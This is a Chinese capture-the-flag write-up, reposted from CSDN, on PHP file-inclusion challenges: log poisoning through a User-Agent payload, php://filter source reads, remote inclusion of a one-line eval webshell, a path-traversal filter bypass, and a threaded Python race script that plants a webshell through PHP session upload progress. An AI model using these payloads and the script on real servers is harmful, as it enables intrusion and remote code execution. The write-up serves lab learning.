一、日志文件包含
打开靶场发现有输入文件路径的地方,尝试输入/etc/passwd,发现服务器可以读取文件,那就有了可以利用的地方。

通过返回包确定服务端是nginx

试/var/log/nginx/access.log,这是 Nginx 服务器的 “访问日志文件”,记录所有访问服务器的请求(谁访问、什么时候访问、用什么设备访问)。因为这是肯定能访问的,web服务器肯定还会给进程读日志的权限,而且日志记录了请求头,我们修改的User-Agent会被写入日志中。

打开bp抓包,找到User-Agent修改为php语句<?php system('cat /var/www/html/flag.php');?>

拿到flag

二、php://filter读取源码
打开靶场,读取系统文件已经被过滤。

在这里了解一个概念 php伪协议
在PHP中,php://filter协议用于对输入数据进行过滤和转换。它提供了一种安全的方式来处理用户输入,以防止潜在的注入攻击和跨站脚本攻击(XSS)等安全问题。然而,如果不正确地使用php://filter协议,可能会导致任意文件读取漏洞,使得攻击者能够读取服务器上的任意文件。
任意文件读取漏洞通常发生在以下情况:错误的过滤器使用:在使用php://filter协议时,如果未对输入进行适当的验证和过滤,攻击者可以通过构造特定的输入来指定要读取的文件。
文件路径泄露:如果PHP代码中存在文件路径泄露的问题,攻击者可以利用这些泄露的信息来推断服务器上的文件结构,并尝试读取敏感文件。
这里使用php伪协议来实现读取index.php
payload
php://filter/convert.base64-encode/resource=index.php
当访问该URL时,PHP将使用php://filter协议将index.php文件的内容读取为Base64编码的字符串,并将其输出到屏幕上。

拿到经过编码的源码
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+UEhQIExGSS9SRkkgQ29kZSBFeGVjdXRvcjwvdGl0bGU+CiAgICA8c3R5bGU+CiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQXJpYWwnLCBzYW5zLXNlcmlmOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjMWUzYzcyLCAjMmE1Mjk4KTsKICAgICAgICAgICAgaGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbjogMDsKICAgICAgICAgICAgY29sb3I6IHdoaXRlOwogICAgICAgIH0KICAgICAgICAuY29udGFpbmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjEpOwogICAgICAgICAgICBiYWNrZHJvcC1maWx0ZXI6IGJsdXIoMTBweCk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDJyZW07CiAgICAgICAgICAgIHdpZHRoOiA2MDBweDsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxNXB4IDMwcHggcmdiYSgwLCAwLCAwLCAwLjIpOwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgfQogICAgICAgIC5jb250YWluZXIgaDIgewogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07CiAgICAgICAgfQogICAgICAgIC5mb3JtLWdyb3VwIHsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTsKICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsKICAgICAgICB9CiAgICAgICAgLmZvcm0tZ3JvdXAgbGFiZWwgewogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMC41cmVtOwogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICB9CiAgICAgICAgLmZvcm0tZ3JvdXAgdGV4dGFyZWEgewogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgcGFkZGluZzogMC44cmVtOwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjIpOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDIwMHB4OwogICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwogICAgICAgIH0KICAgICAgICAuZm9ybS1ncm91cCB0ZXh0YXJlYTpmb2N1cyB7CiAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsKICAgICAgICB9CiAgICAgICAgYnV0dG9uIHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDAuOHJlbTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICM0Q0FGNTA7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgdHJhbnNpdGlvbjogYmFja2dyb3VuZCAwLjNzOwogICAgICAgIH0KICAgICAgICBidXR0b246aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjNDVhMDQ5OwogICAgICAgIH0KICAgICAgICAucmVzdWx0IHsKICAgICAgICAgICAgbWFyZ2luLXRvcDogMXJlbTsKICAgICAgICAgICAgcGFkZGluZzogMC44cmVtOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwgMCwgMCwgMC4zKTsKICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsKICAgICAgICAgICAgd2hpdGUtc3BhY2U6IHByZS13cmFwOwogICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDBweDsKICAgICAgICAgICAgbWF4LWhlaWdodDogMzAwcHg7CiAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87CiAgICAgICAgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPGgyPlBIUCBMRkkvUkZJIENvZGUgRXhlY3V0b3I8L2gyPgogICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZmlsZSI+RW50ZXIgZmlsZSBwYXRoOjwvbGFiZWw+CiAgICAgICAgICAgICAgICA8dGV4dGFyZWEgaWQ9ImZpbGUiIG5hbWU9ImZpbGUiIHBsYWNlaG9sZGVyPSIiPjw/cGhwIAogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2ZpbGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnZmlsZSddKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA/PjwvdGV4dGFyZWE+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+SW5jbHVkZSBmaWxlPC9idXR0b24+CiAgICAgICAgPC9mb3JtPgoKICAgICAgICA8P3BocCBpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJyAmJiBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkpOiA/PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgICAgIDxsYWJlbD5JbmNsdWRlIFJlc3VsdDo8L2xhYmVsPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVzdWx0Ij48P3BocAogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgImRiLnBocCI7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gdmFsaWRhdGVfZmlsZV9jb250ZW50cygkZmlsZSkgewoKICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgnL1teYS16QS1aMC05XC9cKz1dLycsICRmaWxlKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7ICAgCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAvLyBWYWxpZGF0ZSBpbnB1dCBjaGFyYWN0ZXJzCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvbG9nfG5naW54fGFjY2Vzcy8nLCAkX1BPU1RbJ2ZpbGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJ0ludmFsaWQgaW5wdXQuIFBsZWFzZSBlbnRlciBhIHZhbGlkIGZpbGUgcGF0aC4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ2ZpbGUnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoIXZhbGlkYXRlX2ZpbGVfY29udGVudHMoJG91dHB1dCkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbignSW52YWxpZCBpbnB1dC4gUGxlYXNlIGVudGVyIGEgdmFsaWQgZmlsZSBwYXRoLicpOwogICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgY29udGVudHM6JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkb3V0cHV0OwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0Vycm9yOiAnIC4gaHRtbHNwZWNpYWxjaGFycygkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA/PjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgIDwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4=
进行解码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP LFI/RFI Code Executor</title>
<style>
body {
font-family: 'Arial', sans-serif;
background: linear-gradient(135deg, #1e3c72, #2a5298);
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
margin: 0;
color: white;
}
.container {
background: rgba(255, 255, 255, 0.1);
backdrop-filter: blur(10px);
border-radius: 10px;
padding: 2rem;
width: 600px;
box-shadow: 0 15px 30px rgba(0, 0, 0, 0.2);
text-align: center;
}
.container h2 {
margin-bottom: 1.5rem;
}
.form-group {
margin-bottom: 1rem;
text-align: left;
}
.form-group label {
display: block;
margin-bottom: 0.5rem;
font-weight: bold;
}
.form-group textarea {
width: 100%;
padding: 0.8rem;
border: none;
border-radius: 5px;
background: rgba(255, 255, 255, 0.2);
color: white;
min-height: 200px;
font-family: monospace;
}
.form-group textarea:focus {
outline: none;
background: rgba(255, 255, 255, 0.3);
}
button {
width: 100%;
padding: 0.8rem;
border: none;
border-radius: 5px;
background: #4CAF50;
color: white;
font-weight: bold;
cursor: pointer;
transition: background 0.3s;
}
button:hover {
background: #45a049;
}
.result {
margin-top: 1rem;
padding: 0.8rem;
border-radius: 5px;
background: rgba(0, 0, 0, 0.3);
text-align: left;
white-space: pre-wrap;
font-family: monospace;
min-height: 100px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<div class="container">
<h2>PHP LFI/RFI Code Executor</h2>
<form method="POST">
<div class="form-group">
<label for="file">Enter file path:</label>
<textarea id="file" name="file" placeholder=""><?php
if (isset($_POST['file'])) {
echo htmlspecialchars($_POST['file']);
}
?></textarea>
</div>
<button type="submit">Include file</button>
</form>
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file'])): ?>
<div class="form-group">
<label>Include Result:</label>
<div class="result"><?php
include "db.php";
function validate_file_contents($file) {
if(preg_match('/[^a-zA-Z0-9\/\+=]/', $file)){
return false;
}
return true;
}
try {
// Validate input characters
if (preg_match('/log|nginx|access/', $_POST['file'])) {
throw new Exception('Invalid input. Please enter a valid file path.');
}
ob_start();
echo file_get_contents($_POST['file']);
$output = ob_get_clean();
if(!validate_file_contents($output)){
throw new Exception('Invalid input. Please enter a valid file path.');
}else{
echo 'File contents:';
echo '<br>';
echo $output;
}
} catch (Exception $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
?></div>
</div>
<?php endif; ?>
</div>
</body>
</html>
发现可疑文件

读取db.php的内容
php://filter/convert.base64-encode/resource=db.php
拿到flag

三.远程文件包含(RFI)
可以正常读取/etc/passwd

使用日志包含和伪协议都被过滤。这里使用远程文件包含,在自己的服务器上写入一句shell.txt,利用url传参进行任意命令执行拿到shell。
这里写入一句话木马
<?php highlight_file(__FILE__);eval($_GET[1]);?>

使用url传参

拿到flag:CTF{http_rfi_1s_fun}

四、路径遍历突破
正常读取test.txt和index.php。

index.php内容为:
```javascript
```javascript
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>CTFshow 文件管理助手</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
background: linear-gradient(135deg, #232526 0%, #414345 100%);
color: #fff;
font-family: 'Fira Mono', 'Consolas', monospace;
margin: 0;
padding: 0;
}
.container {
max-width: 700px;
margin: 40px auto;
background: rgba(30, 30, 40, 0.95);
border-radius: 18px;
box-shadow: 0 0 30px #00ffe7, 0 0 10px #232526;
padding: 32px 36px 36px 36px;
}
h1 {
text-align: center;
font-size: 2.5em;
letter-spacing: 2px;
color: #00ffe7;
text-shadow: 0 0 10px #00ffe7, 0 0 2px #fff;
margin-bottom: 28px;
}
form {
display: flex;
gap: 10px;
margin-bottom: 22px;
}
input[type="text"] {
flex: 1;
padding: 12px;
border-radius: 8px;
border: none;
background: #232526;
color: #fff;
font-size: 1.1em;
outline: none;
box-shadow: 0 0 8px #00ffe7 inset;
transition: box-shadow 0.2s;
}
input[type="text"]:focus {
box-shadow: 0 0 16px #00ffe7;
}
button {
padding: 12px 28px;
border-radius: 8px;
border: none;
background: linear-gradient(90deg, #00ffe7 0%, #007cf0 100%);
color: #232526;
font-size: 1.1em;
font-weight: bold;
cursor: pointer;
box-shadow: 0 0 10px #00ffe7;
transition: background 0.2s, color 0.2s;
}
button:hover {
background: linear-gradient(90deg, #007cf0 0%, #00ffe7 100%);
color: #fff;
}
.browser-window {
background: #18191c;
border-radius: 12px;
box-shadow: 0 0 16px #00ffe7, 0 0 2px #fff;
padding: 0;
min-height: 350px;
margin-top: 10px;
overflow: auto;
position: relative;
}
.browser-bar {
background: #232526;
border-radius: 12px 12px 0 0;
padding: 8px 16px;
display: flex;
align-items: center;
gap: 8px;
}
.dot {
width: 10px;
height: 10px;
border-radius: 50%;
display: inline-block;
}
.dot.red { background: #ff5f56; }
.dot.yellow { background: #ffbd2e; }
.dot.green { background: #27c93f; }
.browser-content {
padding: 18px 22px;
color: #fff;
min-height: 300px;
font-size: 1.08em;
font-family: 'Fira Mono', 'Consolas', monospace;
word-break: break-all;
}
.footer {
text-align: center;
margin-top: 30px;
color: #888;
font-size: 0.95em;
letter-spacing: 1px;
}
@media (max-width: 800px) {
.container { padding: 16px 4vw 24px 4vw; }
.browser-content { padding: 10px 4vw; }
}
</style>
<link href="https://fonts.googleapis.com/css?family=Fira+Mono:400,700&display=swap" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>CTFshow 文件管理助手</h1>
<form method="get" autocomplete="off">
<input type="text" name="path" placeholder="请输入要读取的文件名称" value="<?php echo isset($_GET['path']) ? htmlspecialchars($_GET['url']) : ''; ?>">
<button type="submit">读取</button>
</form>
<div class="browser-window">
<div class="browser-bar">
<span class="dot red"></span>
<span class="dot yellow"></span>
<span class="dot green"></span>
<span style="margin-left: 18px; color: #00ffe7; font-size: 1em;">
<?php echo isset($_GET['path']) ? htmlspecialchars($_GET['path']) : 'test.txt'; ?>
</span>
</div>
<div class="browser-content">
<?php
if (isset($_GET['path']) && $_GET['path'] !== '') {
$path = $_GET['path'];
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
exit;
}
#禁止以/或者../开头的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
exit;
}
echo $path."内容为:\n";
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
} else {
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
}
?>
</div>
</div>
<div class="footer">
<span>⚡ Powered by <a href="https://ctf.show" target="_blank">ctfshow</a></span>
</div>
</div>
看到目标文件路径为/flag.txt。

过滤规则
禁止包含敏感关键词:
php
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
die("禁止访问敏感目录或文件");
}
→ 屏蔽了 php://filter、data://、zlib:// 等流封装器,也禁了 :(防止协议)
禁止以 . 或 / 开头:
php
if(preg_match('/^(\.|\/)/', $path)){
die("禁止以/或者../开头的文件名");
}
→ 无法直接用 …/flag.txt 或 /flag.txt
构造payloada/../../../../../../../flag.txt,这是因为:
正则 ^(\.|\/) 只防开头,不限制中间的 ../
PHP 的 file_get_contents() 会自动解析相对路径中的 ..

flag为CTF{file_path_bypass_is_fun}
五、临时文件包含
import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://0253528e-43f1-427b-b1f1-81fc84692b2d.challenge.ctf.show/'
sessionid = 'ctfshow'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
session.get(url + '?path=/tmp/sess_' + sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ''
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
感谢the0n3师傅的利用脚本

转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/weixin_74286677/article/details/156861528




